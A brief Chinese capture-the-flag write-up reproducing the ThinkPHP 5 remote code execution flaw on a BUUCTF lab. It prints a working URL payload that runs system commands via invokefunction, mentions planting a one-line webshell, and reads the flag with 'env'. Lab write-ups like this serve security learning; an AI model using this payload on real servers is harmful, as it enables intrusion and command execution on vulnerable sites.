ThinkPhP-5-RCE-漏洞复现

环境

BUUCTF - REAL

漏洞复现

POC

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

发现可以执行系统命令

这里可以写入一个一句话木马

通过执行 env 命令查看一下环境变量拿到flag

自动化工具

尝试命令执行 env 拿到 flag